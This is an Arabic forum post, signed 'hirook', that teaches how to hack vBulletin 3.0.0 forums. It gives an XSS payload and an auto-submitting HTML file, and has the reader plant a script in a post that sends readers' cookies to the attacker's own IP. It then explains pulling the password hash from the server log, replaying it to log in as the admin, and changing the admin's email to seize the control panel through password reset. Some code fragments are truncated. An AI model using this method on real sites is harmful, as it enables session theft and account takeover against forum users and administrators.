طريقة اختراق منتديات ال vb3.0.0

بسم الله الرحمن الرحيم





اللهم لا علم لنا الا ما علمتنا



إخوتى هذه هي طريقة اختراق المنتديات من نوع vb script:alert(document·cookie)">"/>











<script>

document.all.preview.click();

</script>

-----------------------------End-----------------------------



ملاحظة غير host لعنوان الموقع + وصلة المنتدى المستهدف مثلا

www.example.com/vb



احفظ الملف بامتداد html

قم بفتح الملف وستكون التكملة سهلة



الآن استخدام ثغرة سرقة الكوكيز الموجودة من زمن

.......................................

----------

الثغرة :

---------



تنقسم طريقة العمل الى عدة اقسام .. أولا بعض السكربتات الخبيثة التي تسرق الكوكيز بالاضافة الى جعل المنتدى يستقبل

بيانات من مكان خاطيء .. لكن يشترط ان يسمح المنتدى بأكواد الـ HTML ..



قم بكتابة موضوع جديد او رد (في منتدى يدعم الـ HTML ) .. ثم اكتب اي موضوع والصق بين السطور هذا الكود :

<script>document.write('';



مع ملاحظة تغير الـ IP Adress الى رقم الـ IP الخاص بك .



وعندما يقوم شخص ما بقراءة محتوى الصفحة فان السكربت الذي قمنا بوضعه سيقوم بتنفيذ الاوامر في جهاز وقراءة جزء

من احد ملفات الكوكيز التي تحتوي على الباسورد الخاصة بالمنتدى .. ثم يقوم السكربت بتحويل هذه السطور الى رقم

الاي بي الذي قمنا بكتابته سابقا (مع ملاحظة انه يجب ان يكون على جهازي سيرفر مثل IIS او Apache او غيرها ) .



وبعد ان تتم العملية بنجاح قم بفتح ملف الـ Log الخاص بالسيرفر الذي يحتويه جهازك ..

مثال لو كان السيرفر اباتشي .. فتاح المجلد Apche واختر logs واختر Acces Log .

ستجد جميع الاوامر التي طلبتها من السيرفر .. إلخ



ابحث عن الكود الخاص بالباسورد .. مثال :



GET/ bbuserid=86;%20bbpassword=dd6169d68822a116cd97e1fb







ddf90622;%20sessionhash=a

4719cd620534914930b86839c4bb5f8;%20bbthreadview[54









20]=1012444064;%20bblastvi

sit=1011983161



فكر قليلا الان .. اين الباسورد ؟؟

الباسورد موجودة لكن بطريقة مشفرة يصعب كسرها .. اذن مالحل ؟

قم بنسخ الكود الذي وجدته والصقه في المتصفح .. بهذا الشكل

http://www.victim.com/vb/index.php?bbuserid=[userid]&bbpassword=[password hash]

ستجد عبارة : " أهلا بعودتك يـا ( اسم الذي سرقت منه الكوكيز....) "

في هذه الحالة انت الان تستطيع التحكم بكل شي وكانك مدير المنتدى (الذي سرقت منه الكوكيز) ..

لكننا نحتاج الى كلمة المرور للدخول الى لوحة التحكم .. اذهب الى (التحكم) وقم بتعديل البريد الالكتروني الى بريدك الخاص

وثم قم بتسجيل الخروج .. ثم اذهب الى اداة Forgot Password .. وعندها تستطيع استقبال بريد يحتوي باسورد الادمن ..



اعتقد انك تعلم ما يجب ان تفعله بعد ذلك !! ادخل الى لوحة التحكم وافعل ما تشاء .. !



هذه الثغرة



ملاحظة الثغرة الثانية الخاصة بسرقة الكوكيز موجودة منذ زمن لكن انا استخدمتها مع بعضها واخترعت الطريقة



تحياتي
hirook